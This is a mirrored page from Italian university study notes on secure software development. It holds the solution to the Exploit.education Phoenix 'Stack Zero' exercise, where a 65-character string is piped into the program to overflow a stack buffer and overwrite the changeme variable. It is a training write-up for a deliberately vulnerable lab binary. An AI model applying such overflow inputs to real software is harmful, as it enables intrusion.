1
Fork 0
mirror of https://github.com/Steffo99/appunti-magistrali.git synced 2024-11-22 10:44:17 +00:00
appunti-steffo/8 - Sviluppo di software sicuro/2 - Esercizi svolti/Exploit.education - Phoenix/00 - stack-zero.md

12 lines
368 B
Markdown
Raw Normal View History

2023-09-21 00:46:23 +00:00
# [Stack Zero](https://exploit.education/phoenix/stack-zero/)
Inserire `aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa` come input.
L'ultima `a` manda `buffer` in overflow, impostando il valore di `changeme` ad `'a'`, ovvero `97`.
## Soluzione
```bash
echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' | ./stack-zero
```